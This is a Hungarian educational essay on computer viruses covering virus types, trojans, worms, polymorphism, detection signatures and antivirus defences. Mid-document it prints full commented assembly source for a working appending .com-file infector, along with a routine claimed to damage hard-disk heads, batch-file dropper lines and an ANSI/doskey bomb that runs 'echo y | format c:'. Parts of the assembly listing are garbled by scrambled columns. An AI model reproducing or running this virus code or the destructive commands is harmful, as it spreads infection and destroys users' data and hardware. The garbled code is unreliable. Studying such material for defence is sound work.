Tartalmi kivonat
Vírusok "Mindig eggyel több vírusod van, mint éppen gondolod!" Az embereket mindig is foglalkoztatta az élet mibenléte. Egyes tudósok azt állították, hogy a szaporodás képessége a határvonal az élő és élettelen között, míg mások véleménye szerint építhető szaporodni képes kibernetikus automata is. Ezt az elméletet látszott igazolni az is, amikor megalkották az első programvírust. A katonai szakértők rögtön olyan fegyvert láttak benne, amivel meg lehetet bénítani az ellenség informatikai rendszerét, ezért azonnal el is kezdődtek a kutatások ezzel kapcsolatban. Az első ilyen jellegű támadás a Jeruzsálem vírus nevéhez kötődik, amivel palesztín terroristák akarták lebénítani az egyetem hálózatát. Mi is az a vírus? Habár a szót /számítógépes értelemben is/ rengetegen használják, mégis nagyon nehéz őket pontosan definiálni. Eredetileg egy olyan programot jelentett, ami képes saját magát jóváhagyás
nélkül lemásolva terjeszteni. Mára már ezt a definiciót szétzúzta az email vírusok felbukkanása Ezek a vírusok csak annyit jelentenek, hogy kapsz egy levelet azzal a tartalommal, hogy "Vigyázat! Új vírus bukkant fel az interneten! Ezt a levelet küldd tovább az összes ismerősödnek." Ha a levelet mindenki komolyan veszi, akkor hamarosan ennek a levélnek a másolataival lesz tele a postaládád. Mivel a vírusok kiemelkedően nagy számban fordulank elő a PC-ken ezért ez a leírás elsősorban ezekkel foglalkozik, bár az általánosságban leírt dolgok más géptípusokra is igazak. Milyen részekből állhat egy vírus? Általában minden vírus tartalmaz egy reprodukciós rutin, aminek az a feladata, hogy gondoskodjon a vírus szaporodásáról. A legtöbb vírus tartalmaz aktiválási rutint, ami valamilyen esemény bekövetkezését várja és ha megtörténik, elindít egy romboló /vagy esetleg valami ártatlanabb/ utasítássorozatot. Ezek csak a
legalapvetőbb részei egy vírusnak, ezeken kívül tartalmazhatnak egyéb /például kódoló/ rutinokat is. A vírusokat sokféleképpen lehet csoportosítani, például aszerint, hogy mit fertőznek. Léteznek az ún. boot-vírusok, amik a lemezek első szektorába írják be magukat, ha a lemezről bootolunk, akkor a memóriába kerülnek és később más lemezeket is megfertőzhetnek. Ezek a vírusok ott tudtak igazán elterjedni, ahol gyakoriak voltak a lemezről bootolások, például az Amigán. Az Amiga bootvírusok külön érdekessége, hogy egy egyszerű reset /Ctrl-A-A/ nem tudja eltűntetni őket a memóriából. Van olyan vírus, ami egy nem használt lemezterületre írja be magát, majd a programok kezdőcímeit magára irányítja. Az ilyen vírussal fertőzött gépen sem a boot szektor, sem a fájlok nem módosulnak, de ha egy programot el akarunk indítani, akkor valójában a vírust indítjuk el. Ezt a típust FAT vírusnak nevezik Érdekessége, hogy ha a
vírus nem aktív a memóriában és egy programot le akarunk másolni valahová, akkor csak a vírust másoljuk le, a programot nem. Ezen tulajdonsága miatt, és hogy a fertőzött fájlokat nem módosítja, sokan a Creeping Death vírust a felbukkanásakor nem is nevezték vírusnak és örültek, hogy véd a programlopástól. Később meg csodálkoztak, amikor aktiválódott a romboló rutin Másfajta vírusok a fájlokat veszik célba. Ezek futtatható fájlokhoz csatolják magukat /vagy felülírják őket, amivel a programokat tönkreteszik/. A víruskód akkor hajtódik végre, amikor elindítanak egy fertőzött programot. A megfertőzendő állományok általában a com és/vagy .exe kiterjesztésű programok, de más fájlok is elképzelhetőek potenciális áldozatként /például .bat, .sys, .lib, .bin, .nlm, .pif, .dll, stb./ Léteznek fejlettebb vírusok is, amik képesek lehetnek mind a fájlok, mind a boot szektor megfertőzésére, ezzel egyesítve a két típus
előnyös tulajdonságait. A Windows 95 megjelenésével egyesek úgy vélték, a vírusok ideje lejárt, hiszen a Windows lemez- és állománystruktúrája eltért a DOS-étól, így a DOS-os vírusok helytelenül működnek ebben környezetben. Teljesen váratlanul ért mindenkit az első makrovírus, a Winword Concept. A Microsoft sokáig tagadta, hogy lehetséges lenne vírus írni WordBasic makronyelven, ezért is volt meglepő, amikor a Concept felbukkant 95 októberében. Mivel a dokumentumokat kevésbé ellenőrizték, mint a programokat, rendkívül gyorsan el tudott terjedni, ráadásul nem csak PC-ken, hanem Machintosokon is. A makrovírusok általában tartalmaznak egy AutoOpen vagy AutoClose makrót, ami az aktivizálódásukhoz kell. Gyakran megfertőzik a normal.dot nevű fájlt is, így a megváltozott sablonok alapján az új dokumentumok is vírusosak lesznek. Az eredeti Concept nem tartalmaz romboló rutint, de a benne lévő Payload makro könnyen átírható.
A Nuclear Macro Virus például április 5-én törli az io.sys-t és a commandcom-ot, ezen kívül minden nap, ha délután 5 és 6 között fut, akkor szabadon ereszti a Ph33r nevű programvírust. A Winword vírusokon kívül léteznek Excel vírusok is, amik a VBA makronyelven készülnek, de a Lotus 1-2-3 és Quattro Pro is ad lehetőséget makrovírusok írására. A fájlvírusok között is lehet különbséget tenni, hogy hogyan telepszenek bele a programokba. A legdurvább megoldást a felülíró vírusok használják, amik a fertőzendő program kódját /vagy annak egy részletét/ a saját kódjukkal helyettesítik. Az így megfertőzött fájlokat nem lehet helyreállítani, csak törölni. Meg szokták még különböztetni a fájl elejére felülíró típust a véletlenszerű helyre felülírótól. Kevésbé radikális vírusok nem rongálják a fertőzött programokat, hanem vagy megőrzik azt a programrészt amit felülírtak, vagy a fájl végéhez fűzik hozzá
saját kódjukat. Ez utóbbi esetben viszont a program elejére kell egy ugróutasítás, ami a vírusra mutat. Léteznek CEB /companion/ vírusok is, amelyek azt használják ki, hogy ha egy programot kiterjesztés nélkül akarunk elindítani, akkor először .com fájlt, majd exe-t, végül bat-ot keres a DOS. Az ilyen vírusok nem változtatják meg az eredeti fájlt, hanem létrehoznak az exe és .bat kiterjesztésűekkel azonos nevű com kiterjesztésűt, amit elindítva a szaporodás után futtatják az eredeti programot. A path companion vírusok azt használják ki, hogy ha egy azonos nevű program előrébb van a path-ban, mint egy másik, akkor az előző fog lefutni. Vannak olyan vírusok is, amik úgy írják felül az áldozataikat, hogy azok lényegében ne változzanak meg. Ezt úgy kell elképzelni, hogy például az exe header üres részébe, vagy a command.com /DOS 50/ végén levő csupa 00-ból álló területre írják be magukat A fertőzött állományok
méretét nem változtatják meg, ezzel is nehezítve a felfedezésüket. A vírusokat olyan szempontból is lehet csoportosítani, hogy van-e károkozásuk, vagy nincs. Rengeteg vírus csak terjedni képes, romboló rutinok nincsenek benne. Gyakran ezek a változatok csak teszt jellegűek és egy későbbi verziójuk már tartalmaz kárt okozó részeket. Vannak olyan vírusok is, amelyek kárt ugyan nem okoznak, de a fertőzésen kívül már másra is képesek. Például néha olyan üzeneteket írnak ki a képernyőre, hogy: "Éhes vagyok, kérem helyezzen egy hamburgert az A: meghajtóba!", vagy elkezdenek lepotyogni a betűk a képernyőről, esetleg egy szirénázó mentőautó kezd el száguldozni a monitoron. A legdurvább vírusok azonban valóban képesek a károkozásra, letörölni a merevlemez tartalmát, használhatatlanná tenni az adatokat. Ezek a törlések irányulhatnak valami ellen /például az Anti-Pascal esetében/, lehetnek véletlenszerűek és az is
elképzelhető, hogy mindent letörölnek, vagy felülírnak. Az igazán kegyetlen példányok képesek valódi fizikai rombolásra is, például nem publikált utasításokkal tönkretesznek bizonyos integrált áramköröket, vagy lejjebb állítják a winchester olvasófejét és ezáltal valósággal felszántják vele a lemezt. A következő /általam ki nem próbált/ rutin állítólag a winchester olvasófejét teszi tönkre: CHOP DB 127 255 254 252 245 230 210 180 150 120 90 60 30 0 . RUTIN: MOV SI,CHOP MOV CX,000E MOV DX,0080 MOV AH,35 KILLIT: LODSB INT 13 LOOP KILLIT . Olyan is előfordulhat, hogy egy vírusban mind az üzenetek, mind a romboló rutin megtalálható. A vírusok lehetnek memóriarezidensek, avagy nem memóriarezidensek. Az előbbi kategóriába sorolható az összes boot- és lopakodó vírus. Az ilyen vírusok a memóriában maradnak, elhappolnak a DOS elől bizonyos megszakításokat és képesek minden menyitott fájlt megfertőzni, ezért általában
szaporodóképesebbek. A rezidensé válásnál ne csak a hagyományos TSR /terminate and stay resident/ funkciókra gondoljunk, a vírusírók rendkívül sok módszert alkalmazhatnak erre. A nem memóriarezidens vírusok kódja csak akkor fut le, ha egy fertőzött fájlt futtatunk. Ekkor tovább fertőznek, de a program lefutása után nem vesznek át semmiféle vezérlést a géptől. A vírusok megpróbálnak minél jobban elbújni a víruskeresők elől. Egy egyszerű trükk erre az, ha a vírus nagy részét elkódoljuk és a futtatásnál egy dekódoló rutin segítségével kapjuk meg a futtatható programot. Erre a legegyszerűbb megoldás az, ha egy bizonyos értékkel /lehet a fájl dátuma, vagy egy letárolt szám/ xor-oljuk a vírus bájtjait. /A xor a kizáró vagy műveletet jelenti./ Ez a módszer azon alapszik, hogy egy számot kétszer egymás után ugyanazzal a számmal xor-olva az eredeti számot kapjuk vissza. Egy debugger segítségével azonban bárki
dekódolhatja a vírust, így magában ez a módszer keveset ér. A legtöbb ilyen vírus azonban megnehezíti a debuggerek működését azáltal, hogy az általuk használt 1-es megszakítást módosítja. Ha ekkor valaki lépésenként akarja végrehajtani a programot, a vírus megfelelő része fog lefutni, ami akár lefagyaszthatja vagy újraindíthatja a gépet. Az előbbi kategóriába tartózó vírusokat oligomorfnak hívják, jellemzőjük, hogy a kikódoló /decryptor/ mindig azonos. Azokat a vírusokat, amik magát a decryptor rutint is változtatják, polimorfaknak hívjuk. Lássuk, hogyan képesek úgy módosítani a kódjukat, hogy azok funkciójukban ne változzanak. Csinálhatják azt, hogy az utasítás nem változik, csak az utasítások gépi kódja: 8BC3 helyett: 89D8 MOV AX,BX MOV AX,BX Vagy a mov utasítás helyett használhatják a vermet: 89D8 helyett: 53 58 MOV AX,BX PUSH BX POP AX De lehet a regiszter alsó és felső részét külön is feltölteni:
BA1F00 MOV DX,001F helyett: B600 MOV DH,00 B21F MOV DL,1F A regiszterek kinullázásának is több módja van: B80000 MOV AX,0000 helyett: 29C0 SUB AX,AX 31C0 XOR AX,AX vagy Néha az egymás utáni műveletek végrehajtási sorrendjét is megcserélhetjük: BB0101 B8C103 helyett: B8C103 BB0101 MOV BX,0101 MOV AX,03C1 MOV AX,03C1 MOV BX,0101 Sok vírus kever semmittevő utasításokat /NOP; XCHG BX,BX; MOV CX,CX/ a kódjához, így változtatva magát. Előfordulhatnak felesleges ugrások is: [utasítások] JMP cimke cimke: [további utasítások] Azokat a vírusokat, amelyek képesek magukat több részre bontani és ezeket a részeket felcserélni /esetleg különböző helyen tárolni a fájlban/ szeletelődő- vagy permutációs vírusnak hívjuk. Léteznek lopakodó /stealth/ vírusok is, amelyek a fertőzés során bekövetkezett változásokat próbálják elrejteni a felhasználók elől. Az ilyen vírusok rezidensek, hiszen csak így tudják ezt megtenni. Ha
memóriában vannak, akkor az eredeti /fertőzetlen/ boot szektort, FAT-ot, fájlokat mutatják. Ha egy fájlt megnyitunk, a vírus leírtja róla magát (!), majd a bezárás után újra megfertőzi. Emiatt egyszerűbb lopakodó vírusokat ki lehetett úgy írtani, hogy a vírusos .exe és com fájlokat átneveztük például ex és co végűekre ha a vírus a memóriában volt A megnyitott fájlokból törölte magát, és mivel a .ex és co fájlokat nem tartotta futtathatóaknak, ezért nem is fertőzte meg őket. Természetesen sok lopakodó vírust ennél okosabban írtak meg. A vírusok testvérei a trójai programok is, melyeket kezdetben a szoftvergyártók arra használtak, hogy megállítsák az illegális másolásokat és programfeltöréseket. A hátránya többek között az volt, hogy ha egy vírus támadta meg a gépünket és módosította azt a bizonyos programot, ezt is feltörési kisérletnek értette és aktivizálódott. A trójai programokat főleg az
különbözteti meg a vírusoktól, hogy maguktól nem képesek szaporodni, hanem egy programba vannak építve és a programot a felhasználók másolják át egymásnak. Léteznek olyan trójai programok is, amelyek egy bizonyos időpont /a garanciaidő lejárta/ után kezdenek különböző adatveszteségeket produkálni. Ezzekkel a trójaiakkal az a programozók célja, hogy a felhasználók kénytelenek legyenek mindig megvenni az újabb verziójú programjaikat. A hálózatokon létezhetnek egyéb trójai programok is, amelyek elsősorban más felhasználók jogköreinek /vagy jelszavának/ megszerzését hivatottak elvégezni. Léteznek olyan programok is, amiket kimondottan egy speciális feladat elvégzésére /például biztonsági rendszerek kikerülésére, jelszavak megszerzésére/ írtak. Ezek a programok a worm-ok /vagy férgek/, amik gyakran kiírtják magukat, miután céljukat elérték. A legtöbb féreg a Unixon található, de más rendszereken is előfordulnak.
Mivel a legtöbb víruskereső alapból csak a végrehajtható fájlokban keresi a fájlvírusokat, ezért néhány vírus nem futtatható állományban, hanem mondjuk egy .txt-ben tárolja magát Ekkor persze gondoskodnia kell, hogy valahogy mégis lefusson a program. Általában azt használják ki, hogy a legtöbb felhasználó gyanútlanul indítgatja el a .bat fájlokat Lehetséges, hogy például egy runme.bat a következőket tartalmazza: type valami.txt > valamicom valami.com del valami.com vagy: sőt: copy valami.txt valamicom > nul valami.com del valami.com debug < valami.txt Ez utóbbi esetben a valami.txt a debug program által értelmezhető utasításokat tartalmaz Szintén nem tudnak szaporodni, de elég kártékonyak az ansi-bombák. Ha az ansisys be van töltve, akkor lehetőséget biztosít például a billentyűzet átdefiniálására. Ha ilyen átdefiniálási utasításokat tartalmazó fáljt type-olunk, vagy programból iratunk ki ilyen
utasításokat, akkor egyes billentyűk lenyomásához parancsok futtatását rendelhetjük. A doskey programmal pedig a már létező parancsokat is helyettesíthetjük saját makrókkal. Ilyen esetben például az esc gomb lenyomásával vagy egy dir parancs kiadásával elindíthatunk egy echo y | format c: parancsot, ami kérdés nélkül formatálja a C: meghajtót. Napjainkban vírusokat nem csak az alacsony szintű programozási nyelveket /vagy makronyelveket/ ismerő számítógépguruk írhatnak. Sokféle vírusíró rendszer elérhető /például a Virus Creation Laboratory/, amelyekkel kívánság szerinti tulajdonságú vírusok készíthetőek. Beszerezhetőek ún Mutation Engine-ek is, amiket a saját /egyszerű/ vírusokba beleszerkesztve mutációs vírusokat hozhatunk létre. És akkor lássuk, hogyan is néz ki konkrétan egy vírus. Az itt bemutatott példány egy egyszerű .com fájlokat fertőző, nem rezidens vírus Ha egy fertőzött programot elindítunk, az
először keres egy .com fájlt és a végére írja magát, miután ellenőrizte, nem fertőzött-e már Nem ellenőrzi, hogy elfér-e a program mögött és a fájl attribútumait sem /így a read-only attribútum beállításával védekezni lehet ellene/. A fertőzést észre lehet venni a fájlok hossznövekedéséről és a dátumának megváltozásáról. Romboló rutint nem tartalmaz virus segment assume cs:virus,ds:virus org 100h start: jmp kezd db "X","Y" ;A fertôzött fájlok úgy néznek ki, hogy az eredeti program végére ;írja magát a vírus, a fájl elejére pedig egy /a víruskódra mutató/ ;ugróutasítást tesz. Az ugrás után álló XY karakterpár csak arra ;szolgál, hogy a vírus el tudja dönteni: megfertôzte-e már az ;adott fájlt. kezd: a: call a pop bp sub bp,offset a ;Ez a trükk arra való, hogy a vírus meg tudja határozni saját helyzetét ;a szegmensen belül, ugyanis különböző méretű programok megfertőzésével
;különbözô helyekre kerül a vírus, amit elôre nem lehet beprogramozni. ;A call utasítás a verembe menti a hívási címet, amibôl kivonva az a ;cimke eltolási értékét, megkapjuk a pontos helyzetet. mov mov mov mov mov mov mov mov mov mov mov di,100h al,[bp+offset [di],al al,[bp+offset [di+1],al al,[bp+offset [di+2],al al,[bp+offset [di+3],al al,[bp+offset [di+4],al id] id+1] id+2] id+3] id+4] ;A gazdafájl eredeti kezdetét visszaállítjuk a memóriában a majdani ;futtatás céljából. Az eredeti kezdet /5 byte/ az id változóban ;található, de figyelni kell, hogy az elôbb kiszámolt szegmensen ;belüli eltolási címet hozzáadjuk, amikor hivatkozunk rá. /A késôbbiekben ;is ezt alkalmazzuk, amikor a bp regisztert adogatjuk hozzá a címzésekhez./ kov: mov ah,4eh mov cx,0 lea dx,[nev+bp] int 21h jc vege ;.com fájl keresése Ha nem talál ilyen fájlt,akkor a vege cimkére ugrik. call dta ;A dta eljárás a talált fájl nevét tölti be a data nevű
változóba. xor al,al mov byte ptr [bool+bp],al call ellen mov al,byte ptr [bool+bp] cmp al,2 jne fert mov ah,4fh jmp kov ;Az ellen eljárás hívásával megvizsgálja: fertôzött-e már a fájl. ;Ha igen, új fájlt keres /a kov cimkere való ugrással/, ellenekezô ;esetben ugrik a fertôzô rutinra. fert: mov xor xor int sub ax,4202h cx,cx dx,dx 21h ax,3 mov word ptr [hossz+bp],ax ;Elsô lépésben a fájl hosszát kell megállapítani. mov mov lea int ah,40h cx,257 dx,[kezd+bp] 21h ;Majd a vírus kódját hozzáfűzi a fájl végéhez. mov xor xor int ax,4200h cx,cx dx,dx 21h ;Ezután a fájl elejére ugrunk. mov mov lea int ah,40h cx,5 dx,[id+bp+5] 21h ;.és beleírjuk a vírusra mutató ugróutasítást és az XY karaktereket mov ah,3eh int 21h ;A fertôzés befejeztével a fájlt bezárjuk. vege: mov ax,100h jmp ax ;.és a gazdaprogram kezdetére ugrunk dta dta1: dta proc mov ah,2fh int 21h lea si,[data+bp] mov cx,13 add bx,1eh mov al,es:[bx] mov
[si],al inc bx inc si loop dta1 ret endp ellen proc mov ax,3d02h lea dx,[data+bp] int 21h ;Megnyitjuk a fájlt. mov mov mov mov lea int word ptr [hand+bp],ax bx,ax ah,3fh cx,5 dx,[id+bp] 21h ;.és beolvassuk az elsô öt bájtját az id nevű változóba ell1: mov cmp jne inc cmp jne inc ret ellen endp ax,word ptr [id+bp+3] al,"X" ell1 byte ptr [bool+bp] ah,"Y" ell1 byte ptr [bool+bp] ;Ha a beolvasott 4. és 5 bájt az XY, akkor a program már fertôzött ;/ez esetben a bool változó értéke 2 lesz, ellenkezô esetben 0 vagy 1/. nev db "*.cóm",0 ;A program külön érdekessége, hogy "*.cóm" fájlt keres, amit azonban ;a DOS "*.com"-nak értelmez, viszont néhány /régebbi/ víruskeresőt ;be lehetett vele csapni. id db 0c3h,0,0,0,0 ;Az id nevű változó tartalmazza a gazdaprogram elsô öt bájtját. Ebben az esetben ;a gazdaprogramnak nem kell semmit tennie, csak visszaadni a vezérlést a DOS-nak. ;Itt ezt egy
hexa c3-as gépi kódú utasítással tettük meg, ami egy RETN utasítást jelent. db 0e9h hossz dw ? db "XY" ;Ezt az öt bájtot fogja a vírus az újonnan megfertőzött program elejére írni: ;a hexa e9 egy JMP utasításnak felel meg, a paraméter pedig a fájl hossza lesz ;/így pont az eredeti program végére, azaz a vírus elejére ugrik/. Az XY pedig ;jelzi, hogy a fájl már fertőzött. bool db ? hand dw ? data db 14 dup (?) virus ends end start Védekezés a vírusok ellen Tíz éves koromban, amikor még semmit sem tudtam a vírusokról, meghallottam, hogy péntek tizenharmadikán nem szabad bekapcsolni a gépet, mert támad a vírus. Én még a konnektorból is kihúztam a csatlakozót, nehogy azon keresztül kapjam meg. /Olyanról is hallottam, aki azt hitte, a levegőből is meg lehet kapni a fertőzést./ Ez a "ne kapcsold be a gépet péntek 13-án" módszer manapság már nem használható, ugyanis ilyen alapon soha sem lehetne
bekapcsolni. Minden nemzeti ünnepnek, női névnapnak, évfordulónak van már vírusa, így szinte minden nap ki vagyunk téve a veszélynek. A vírusok ellen többféleképpen lehet védekezni. Lehet hardware-esen, léteznek az alaplapba épített antivírus-chipek, amik figyelik például a boot szektort, és ha valamilyen program megpróbál írni oda, figyelmeztet bennünket. Vannak azonban olyan vírusok, amik képesek ezt a védelmet kicselezni. Lehet szoftveresen is védekezni, ehhez víruskereső/irtó programokat kell beszerezni /például Norton AntiVirus, Fprot, Scan, Tbav/. Vannak memóriarezidens víruskeresők is, amik a memóriában maradva figyelik a programokat, ezek azonban általában jelentős mértékben lassítják a gépet. A víruskeresők többféle módon működhetnek. A boot szektort és a fájlokat végignézve kereshetnek az egyes vírusokra vonatkozó karaktersorozatokat. Például az Amigás SCA vírus esetén a bootblokkban a Something wonderful has
happened. Your Amiga is alive szöveget találhatjuk. Ha ezt a szöveget találjuk a bootblokkunkban, akkor elég valószínű, hogy SCA vírusunk van. Persze nem minden vírus ilyen kedves, hogy egyértelműen beazonosítható karaktersorozatot tartalmaz. A következő hexa számsorozat például a Vienna vírusra jellemző: FC 8B F2 81 C6 0A 00. Itt ez nem egy szöveg, hanem a következő utasítássorozat kódja: CLD MOV SI,DX ADD SI,000A Persze ha egy programban ilyen sorozatot találunk, az sem jelenti feltétlenül a Vienna jelenlétét. Lehet, hogy az eredeti program is használja ezt az utasítássorozatot, de az is lehet, hogy a Vienna vírus egy módosított változatáról van szó. Ezzel azért kell nagyon óvatosan bánni, mert ha egy nem létező vírust próbálunk leírtani /vagy egy létezőt, de rosszul/, akkor saját magunk tehetjük tönkre a programjainkat. A memóriarezidens vírusok általában le tudják ellenőrizni, hogy már a memóriában vannak-e, hogy
ne váljanak többször rezidenssé. Ha valaki tudja, hogy egy bizonyos vírus hogyan ellenőrzi ezt le, akkor ő maga is meg tudja nézni, van-e ilyen vírusa. Például ha az ah regiszterbe a hexa BE értéket töltjük, meghívjuk a hexa 21-es DOS megszakítást és ezek után az ax regiszer értéke hexa 1234 lesz, akkor valószínűleg a Datalock nevű vírus garázdálkodik a gépünkön. Mivel napról-napra újabb vírusok készülnek, a víruskeresőket is naponta kéne frissíteni. Ez eléggé körülményes lenne, ezért manapság a víruskeresőkbe beépítenek egy ún. heurisztikus keresést. Ez nem konkrét vírusokat keres, hanem olyan kódrészleteket, amiknek a jelenléte vírusra utalhat. Például ha egy programban megtalálható a *.com vagy *.exe karaktersorozat, az fölöttébb gyanús. Némelyik víruskereső a programok változásait figyeli, és ha változást észlel, figyelmeztet. Természetesen az ilyen programokat ki lehet cselezni a FAT és CEB típusú
vírusokkal /esetleg a lopakodókkal is/. A Winword Concept makrovírus létrehoz egy AAAZA0 és egy AAAZFS nevű makrót, így a Tools/Macros menüt választva észrevehetjük, ha a vírusunk van. Ha Winwordöt használunk, akkor fontos, hogy olyan víruskeresőnk legyen, ami képes a makrovírusok észlelésére is. /Érdekes: sok víruskereső a Concept kiírtásakor meghagyja a Payload makrót, hiszen így a vírus azt hiszi, fertőzött a gép, ezért immunissá vállunk ellene./ Néhány makrovírus megelőzési tanács: 1. Valamelyik menüpontal /sajnos nem todom, melyikkel/ írásvédetté tehetjük a normal.dot-ot 2. Hozzunk létre egy makrót a Tools/Macros/New menüponttal autoexec néven: SUB MAIN DisableAutoMacros 1 MSGBox"Automata makroindítás kikapcsolva",-1 END SUB Ezzel állítólag az automatikus makrofuttatásokat le lehet kapcsolni. 3. Ne használjunk Winwordot :) Az Internet térnyerésével még jobban ki lettünk szolgáltatva a vírusoknak. Míg
régebben a vírusok legtöbbször csak egy bizonyos környezetben terjedtek el /hiszen lemezen jutottak egyik gépről a másikra/, manapság akár egy Kínában írt vírus másnap már fertőzhet például Norvégiában is. A vírusok elleni védekezés egyik legfontosabb eleme a felhasználók felvilágosítása, mit csináljanak és mit ne csináljanak. Hogy hogyan védekezzenek a vírusok ellen és mit tegyenek, ha mégis fertőzés következik be. Minden új programot, még a gyárit is (!), le kell ellenőrizni egy lehetőleg új víruskeresővel. De nem csak a programokat, hanem a dokumentumokat, sablonokat, táblázatokat is. Adatainkról és /remélhetőleg/ vírusmentes programjainkról pedig biztonsági másolatot kell készíteni. Akinek egyszer már veszett kárba több napnyi /vagy hónapnyi/ munkája vírusok miatt, az biztos nem felejt el mindenből másolatot készíteni. A lemezeken nem véletlenül van az a kis kapcsoló, amivel a írásvédetté tehetjük. Ha egy
lemezről csak olvasni akarunk, akkor az írás elleni védelmet be kell kapcsolni a későbbi esetleges kellemetlen meglepetések elkerülése végett. A vírusok felderítésében segítségünkre lehet, ha figyeljük a programok méreteit és módosítási idejüket